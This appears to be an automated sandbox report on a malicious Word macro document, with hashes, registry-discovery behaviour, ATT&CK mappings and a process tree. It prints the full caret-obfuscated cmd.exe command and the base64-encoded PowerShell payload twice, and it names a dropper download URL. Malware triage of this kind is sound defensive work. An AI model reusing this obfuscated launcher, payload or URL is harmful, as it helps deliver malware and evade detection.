8e0ddb5abdb6a6b5196e3a4182f3becccfc302c013dce60836896d79f2d7da2a

General

Target

initial.bin.doc
Size

106KB
MD5

7a618482be272bb1fcb4af69a3f649a3
SHA1

8d77bac6b9f0f45dbddce469dbb24a9c6be0ac46
SHA256

8e0ddb5abdb6a6b5196e3a4182f3becccfc302c013dce60836896d79f2d7da2a
SHA512

3e8e54be84e5406ab22064bd69e0deba21d7fb7ec625c88b91659f38f8db9f6f2dc5d84da3004b7c41e3771074b1d7a70130f4e0c2a869140619c2f83434993d

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://finance-advisors-ca.bid/ldr.bin

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

Cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	3616	808	Cmd.exe	WINWORD.EXE

An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs

Processes:

Cmd.exe

pid process

3616 Cmd.exe

pid	process
3616	Cmd.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

808 WINWORD.EXE
808 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

512 powershell.exe
512 powershell.exe
512 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 512 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

808 WINWORD.EXE
808 WINWORD.EXE
808 WINWORD.EXE
808 WINWORD.EXE
808 WINWORD.EXE
808 WINWORD.EXE
808 WINWORD.EXE

pid	process
808	WINWORD.EXE
808	WINWORD.EXE

pid	process
512	powershell.exe
512	powershell.exe
512	powershell.exe

description	pid	process
Token: SeDebugPrivilege	512	powershell.exe

pid	process
808	WINWORD.EXE
808	WINWORD.EXE
808	WINWORD.EXE
808	WINWORD.EXE
808	WINWORD.EXE
808	WINWORD.EXE
808	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXECmd.exe

description	pid	process	target process
PID 808 wrote to memory of 3616	808	WINWORD.EXE	Cmd.exe
PID 808 wrote to memory of 3616	808	WINWORD.EXE	Cmd.exe
PID 3616 wrote to memory of 512	3616	Cmd.exe	powershell.exe
PID 3616 wrote to memory of 512	3616	Cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\initial.bin.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:808

C:\Windows\SYSTEM32\Cmd.exe
Cmd TACAiZWidzJ QlELiFOErRhvNKiaJWsYwW wlJfOqlYPlHp & %^c^o^m^S^p^E^c^% %^c^o^m^S^p^E^c^% /V /c set %AwpZiQoBRUEQPsH%=cRwTOVNzvj&&set %YrMvOFQhX%=p&&set %CTWbrSlIwsfzwt%=o^w&&set %pAjKSKGUdiTzNII%=RdjtQWiQvz&&set %bCbazDZpqJqEP%=!%YrMvOFQhX%!&&set %nobijsdvaoVGBuK%=OdAfEqLtEjRCTT&&set %wauWYPWLOzP%=e^r&&set %rbXUXQCsTtYNK%=!%CTWbrSlIwsfzwt%!&&set %iTXpEXwqEHkkj%=s&&set %RPPUXRswvbTRhTz%=bmiVHFPQ&&set %zjUnavSRR%=he&&set %VKzjjIHdbbC%=ll&&!%bCbazDZpqJqEP%!!%rbXUXQCsTtYNK%!!%wauWYPWLOzP%!!%iTXpEXwqEHkkj%!!%zjUnavSRR%!!%VKzjjIHdbbC%! -e JgAgACgAIAAkAHAAcwBoAG8AbQBFAFsANABdACsAJABQAFMAaABvAE0AZQBbADMAMABdACsAJwB4ACcAKQAgACgAIABuAGUAVwAtAE8AYgBKAGUAYwB0ACAAIABTAHkAUwBUAEUATQAuAEkATwAuAGMAbwBNAFAAcgBlAFMAUwBJAE8ATgAuAEQAZQBGAEwAQQBUAGUAcwBUAHIAZQBBAE0AKAAgAFsASQBPAC4AbQBlAG0ATwBSAFkAUwB0AFIARQBhAG0AXQBbAEMATwBOAFYAZQByAFQAXQA6ADoARgBSAE8ATQBCAGEAcwBlADYANABzAFQAcgBJAG4AZwAoACAAJwBWAFUAOQBkAFMAOABNAHcARgBQADAAcgBlAFEAaQBrAHgAVABWAGwAaQBpAGcATABnAGwAZwBuAGUAMQBBAFoAVgBpAGcARABRAGQATAAwAGIAbwAyADIAUwBVAG0AdgBhADcAZgBTAC8AMgA1ADAAOQBjAEcAWABlADcAbgBuAGcAMwBNAHUAWABUAGYAeQArAEUASgB1AGkASQBFAHUAcwB2AGsASABLAEMAUgBPAG0AcwBMAFcAZwByAG8ANgBrAFgAWAAyAG4AMABzAFAATABVAEwATgBuAHcARgA1AEIAbgBsAFMAYQBUAEEAbwBxAE0AcgB1AE4AcQBVAFgAcwBoAEsAeABXAGMAVAB4AFYAaAB0AHAARgBFAFMAeQAyAE8AdgBXAHUAagBaAFMAawB1AGUANgBpAEsAdgBDACsAVwAwAFkAVAA1AHQASwBZADgAQgB1AFcAUwBqAG8AbwB6AG8AdQBWADkAcQA3ADYAVwA4AFgAYgBxAEQASABZAEQANABqADUANQBmAHoAcQArAHMATABMADYAaQArADkAcgBqADUANABjAEgAcwBGAHoANgA5AEkAVwBlAEUAdgBUAEUALwAvADcAegArADUAdABBAEQARQAxAHYAcgBRAEsAbwB5AG8ASwB0AEUAbAA0AHAAbwBRADAANwBkAHcAZwBIAGQAWQBaAGcAKwA0AHYAZQAyAE0ANQBXAFYAeABZAE8AdQBZAEoATAB5AFYANQB1AGkAMAAyAFkAWABoAEQATgB5AFMAZwB4AEYAaQB0AEoAaAB0AEgAWgBXAFEAZAB0AE8AcQBNAGgAOQB3AHEAYwBZAGwAVQBSAFYARABwADMAVABDAEYARgBwAFcAeQBUADAAbgBTADkANwBCAFEAMQBxAGEALwBpAFQATgA4AGcAZABpAEgASAA4AEIAZwA9AD0AJwAgACkALAAgAFsAUwB5AHMAdABFAE0ALgBJAE8ALgBDAE8ATQBQAHIARQBzAFMAaQBPAE4ALgBjAE8ATQBQAFIARQBTAHMAaQBPAG4AbQBvAEQAZQBdADoAOgBkAEUAYwBvAG0AcABSAGUAcwBTACkAIAB8ACUAewAgAG4AZQBXAC0ATwBiAEoAZQBjAHQAIABzAHkAUwB0AGUAbQAuAGkATwAuAFMAdABSAGUAQQBtAFIARQBBAEQARQByACgAIAAkAF8AIAAsACAAWwBzAFkAcwBUAEUAbQAuAFQARQBYAHQALgBFAE4AYwBvAEQAaQBOAGcAXQA6ADoAYQBTAGMASQBJACAAKQAgAH0AIAApAC4AcgBFAEEARAB0AE8ARQBOAGQAKAAgACkA
2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:3616

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JgAgACgAIAAkAHAAcwBoAG8AbQBFAFsANABdACsAJABQAFMAaABvAE0AZQBbADMAMABdACsAJwB4ACcAKQAgACgAIABuAGUAVwAtAE8AYgBKAGUAYwB0ACAAIABTAHkAUwBUAEUATQAuAEkATwAuAGMAbwBNAFAAcgBlAFMAUwBJAE8ATgAuAEQAZQBGAEwAQQBUAGUAcwBUAHIAZQBBAE0AKAAgAFsASQBPAC4AbQBlAG0ATwBSAFkAUwB0AFIARQBhAG0AXQBbAEMATwBOAFYAZQByAFQAXQA6ADoARgBSAE8ATQBCAGEAcwBlADYANABzAFQAcgBJAG4AZwAoACAAJwBWAFUAOQBkAFMAOABNAHcARgBQADAAcgBlAFEAaQBrAHgAVABWAGwAaQBpAGcATABnAGwAZwBuAGUAMQBBAFoAVgBpAGcARABRAGQATAAwAGIAbwAyADIAUwBVAG0AdgBhADcAZgBTAC8AMgA1ADAAOQBjAEcAWABlADcAbgBuAGcAMwBNAHUAWABUAGYAeQArAEUASgB1AGkASQBFAHUAcwB2AGsASABLAEMAUgBPAG0AcwBMAFcAZwByAG8ANgBrAFgAWAAyAG4AMABzAFAATABVAEwATgBuAHcARgA1AEIAbgBsAFMAYQBUAEEAbwBxAE0AcgB1AE4AcQBVAFgAcwBoAEsAeABXAGMAVAB4AFYAaAB0AHAARgBFAFMAeQAyAE8AdgBXAHUAagBaAFMAawB1AGUANgBpAEsAdgBDACsAVwAwAFkAVAA1AHQASwBZADgAQgB1AFcAUwBqAG8AbwB6AG8AdQBWADkAcQA3ADYAVwA4AFgAYgBxAEQASABZAEQANABqADUANQBmAHoAcQArAHMATABMADYAaQArADkAcgBqADUANABjAEgAcwBGAHoANgA5AEkAVwBlAEUAdgBUAEUALwAvADcAegArADUAdABBAEQARQAxAHYAcgBRAEsAbwB5AG8ASwB0AEUAbAA0AHAAbwBRADAANwBkAHcAZwBIAGQAWQBaAGcAKwA0AHYAZQAyAE0ANQBXAFYAeABZAE8AdQBZAEoATAB5AFYANQB1AGkAMAAyAFkAWABoAEQATgB5AFMAZwB4AEYAaQB0AEoAaAB0AEgAWgBXAFEAZAB0AE8AcQBNAGgAOQB3AHEAYwBZAGwAVQBSAFYARABwADMAVABDAEYARgBwAFcAeQBUADAAbgBTADkANwBCAFEAMQBxAGEALwBpAFQATgA4AGcAZABpAEgASAA4AEIAZwA9AD0AJwAgACkALAAgAFsAUwB5AHMAdABFAE0ALgBJAE8ALgBDAE8ATQBQAHIARQBzAFMAaQBPAE4ALgBjAE8ATQBQAFIARQBTAHMAaQBPAG4AbQBvAEQAZQBdADoAOgBkAEUAYwBvAG0AcABSAGUAcwBTACkAIAB8ACUAewAgAG4AZQBXAC0ATwBiAEoAZQBjAHQAIABzAHkAUwB0AGUAbQAuAGkATwAuAFMAdABSAGUAQQBtAFIARQBBAEQARQByACgAIAAkAF8AIAAsACAAWwBzAFkAcwBUAEUAbQAuAFQARQBYAHQALgBFAE4AYwBvAEQAaQBOAGcAXQA6ADoAYQBTAGMASQBJACAAKQAgAH0AIAApAC4AcgBFAEEARAB0AE8ARQBOAGQAKAAgACkA
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:512

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/512-180-0x0000000000000000-mapping.dmp

Download
memory/512-183-0x00000143EDBE6000-0x00000143EDBE8000-memory.dmp

Filesize
8KB

Download
memory/512-182-0x00000143EDBE3000-0x00000143EDBE5000-memory.dmp

Filesize
8KB

Download
memory/512-181-0x00000143EDBE0000-0x00000143EDBE2000-memory.dmp

Filesize
8KB

Download
memory/808-117-0x00007FFA59300000-0x00007FFA59310000-memory.dmp

Filesize
64KB

Download
memory/808-118-0x00007FFA7A780000-0x00007FFA7D2A3000-memory.dmp

Filesize
43.1MB

Download
memory/808-122-0x00007FFA74700000-0x00007FFA757EE000-memory.dmp

Filesize
16.9MB

Download
memory/808-123-0x00007FFA72800000-0x00007FFA746F5000-memory.dmp

Filesize
31.0MB

Download
memory/808-119-0x00007FFA59300000-0x00007FFA59310000-memory.dmp

Filesize
64KB

Download
memory/808-114-0x00007FFA59300000-0x00007FFA59310000-memory.dmp

Filesize
64KB

Download
memory/808-116-0x00007FFA59300000-0x00007FFA59310000-memory.dmp

Filesize
64KB

Download
memory/808-115-0x00007FFA59300000-0x00007FFA59310000-memory.dmp

Filesize
64KB

Download
memory/3616-179-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads